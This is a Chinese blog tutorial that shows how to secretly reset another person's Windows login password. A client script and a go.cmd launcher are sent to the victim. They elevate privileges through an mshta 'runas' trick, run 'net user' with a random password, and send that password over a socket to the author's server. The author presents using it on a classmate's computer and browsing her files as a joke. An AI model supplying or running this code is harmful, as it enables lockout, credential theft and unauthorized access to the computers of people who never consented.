Python还能这么玩之用Python修改了班花的开机密码


Posted in Python onJune 04, 2021

一、前言

Python还能这么玩之用Python修改了班花的开机密码

班花加我说她电话坏了让我看看,那肯定义不容辞!【兴奋了半个小时】没别的我就想秀一下技术!五分钟后我修好了,电脑重启之后显示输入密码,当时没多想直接走了。回去之后我能不能用技术远程解析一下这个开机密码呢,说干就干。

Python还能这么玩之用Python修改了班花的开机密码

二、工具准备

开发环境:win10、python3.7
开发工具:pycharm

三、项目思路解析

一想到远程,就想到创建连接,一想到创建链接,就想到socket套接字(一想到套接字,就联想到我没有女朋)

Python还能这么玩之用Python修改了班花的开机密码

该项目代码为3份(记住自己拿的是服务端的代码,客服端代码和go.cmd是发给别人的)

首先正常流程创建服务端的服务

服务端流程:

  • 创建套接字
  • -绑定ip和端口
  • -设置监听
  • -等待链接
  • -接受数据打印数据
  • -关闭链接
import socket  # 导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket
server.bind(('192.168.246.1', 44444))  # 绑定IP/端口
server.listen(5)  # 监听
print('***********等待连接*********')
conn, addr = server.accept()  # 连接
print(conn) 
print('客户端的地址:', addr)
client_msg = conn.recv(1024)
print('客户端修改的密码是: %s' % client_msg)
conn.close()
server.close()

windows的修改电脑密码的命令:net User 用户名 修改的密码(可以自己动手试一下)

Python还能这么玩之用Python修改了班花的开机密码

客户端流程:

  • 创建套接字
  • -连接服务端的IP和端口
  • -获取当前使用的电脑账户名
  • -生成随机的电脑密码
  • -在终端执行修改Windows密码的指令
  • -发送修改之后的密码
  • -关闭套接字
import socket  # 导入用到的模块
import getpass
import subprocess
import random

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例
client.connect((ip, 端口))  # 连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser()  # 获取计算机用户名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的随机数
    m = str(random.randrange(0, 10))
    psd = psd + m

subprocess.Popen(['net', 'User', user, psd])  # 在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8'))  # 将密码发送给server端
back_msg = client.recv(1024)
client.close()  # 关闭socket

到这一步基本就可以自己去尝试了,但是要注意,当前代码只能修改权限是admin的账户。

Python还能这么玩之用Python修改了班花的开机密码

非admin用户需要提高自己的执行权限
直接使用超级管理员权限执行cmd文件
go.cmd

@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"

start python client.py

四、小结

最后我修改密码成功登陆,竟然发现了她的密码!

Python还能这么玩之用Python修改了班花的开机密码

这铁憨憨C盘满了都不知道清理,一看就是不太懂电脑的亚子!班花那么好看竟然不太懂电脑,真是惊人的发现哩!

PS:最后我啥都没动改回去了!

到此这篇关于Python还能这么玩之用Python修改了班花的开机密码的文章就介绍到这了,更多相关Python修改密码内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python进阶教程之函数参数的多种传递方法
Aug 30 Python
Python3.6正式版新特性预览
Dec 15 Python
python 二分查找和快速排序实例详解
Oct 13 Python
解决python3 HTMLTestRunner测试报告中文乱码的问题
Dec 17 Python
Django实现微信小程序的登录验证功能并维护登录态
Jul 04 Python
python实现高斯(Gauss)迭代法的例子
Nov 20 Python
使用python绘制二维图形示例
Nov 22 Python
TensorFlow——Checkpoint为模型添加检查点的实例
Jan 21 Python
Django 项目通过加载不同env文件来区分不同环境
Feb 17 Python
python和pywin32实现窗口查找、遍历和点击的示例代码
Apr 01 Python
python操作ini类型配置文件的实例教程
Oct 30 Python
python3.9和pycharm的安装教程并创建简单项目的步骤
Feb 03 Python
Anaconda安装pytorch及配置PyCharm 2021环境
python如何利用cv2模块读取显示保存图片
Jun 04 #Python
Python实现socket库网络通信套接字
Jun 04 #Python
python cv2图像质量压缩的算法示例
Jun 04 #Python
高考要来啦!用Python爬取历年高考数据并分析
单身狗福利?Python爬取某婚恋网征婚数据
告别网页搜索!教你用python实现一款属于自己的翻译词典软件
You might like
十大催泪虐心动漫,你能坚持看到第几部?
2020/03/04 日漫
解析zend studio中直接导入svn中的项目的方法步骤
2013/06/21 PHP
php实现屏蔽掉黑帽SEO的搜索关键字
2015/04/15 PHP
php二维码生成
2015/10/19 PHP
PHP读书笔记整理_结构语句详解
2016/07/01 PHP
php生成mysql的数据字典
2016/07/07 PHP
微信公众号开发之通过接口删除菜单
2017/02/20 PHP
PHP 文件锁与进程锁的使用示例
2017/08/07 PHP
PHP中的self关键字详解
2019/06/23 PHP
php5.3/5.4/5.5/5.6/7常见新增特性汇总整理
2020/02/27 PHP
Javascript里使用Dom操作Xml
2007/01/22 Javascript
js类中获取外部函数名的方法
2007/08/19 Javascript
jquery选择器需要注意的问题
2014/11/26 Javascript
jQuery使用post方法提交数据实例
2015/03/25 Javascript
jquery插件tytabs.jquery.min.js实现渐变TAB选项卡效果
2015/08/25 Javascript
jQuery实现响应鼠标背景变化的动态菜单效果代码
2015/08/27 Javascript
js编写当天简单日历效果【实现代码】
2016/05/03 Javascript
Vue.js计算属性computed与watch(5)
2016/12/09 Javascript
js 获取json数组里面数组的长度实例
2017/10/31 Javascript
Vue-Router实现组件间跳转的三种方法
2017/11/07 Javascript
浅谈 vue 中的 watcher
2017/12/04 Javascript
实例讲解javascript实现异步图片上传方法
2017/12/05 Javascript
详解vue-cli脚手架中webpack配置方法
2018/08/22 Javascript
解决Vue.js由于延时显示了{{message}}引用界面的问题
2018/08/25 Javascript
在node中使用jwt签发与验证token的方法
2019/04/03 Javascript
vue简单练习 桌面时钟的实现代码实例
2019/09/19 Javascript
js实现时间日期校验
2020/05/26 Javascript
Nuxt 项目性能优化调研分析
2020/11/07 Javascript
python使用udp实现聊天器功能
2018/12/10 Python
对python中的float除法和整除法的实例详解
2019/07/20 Python
如何以Winsows Service方式运行JupyterLab
2020/08/30 Python
Windows环境下Python3.6.8 importError: DLLload failed:找不到指定的模块
2020/11/01 Python
建筑专业毕业生推荐信
2013/11/21 职场文书
财务科长个人对照检查材料
2014/09/18 职场文书
漫画《催眠麦克风-Dawn Of Divisions》第二卷PV公开
2022/04/05 日漫
golang使用map实现去除重复数组
2022/04/14 Golang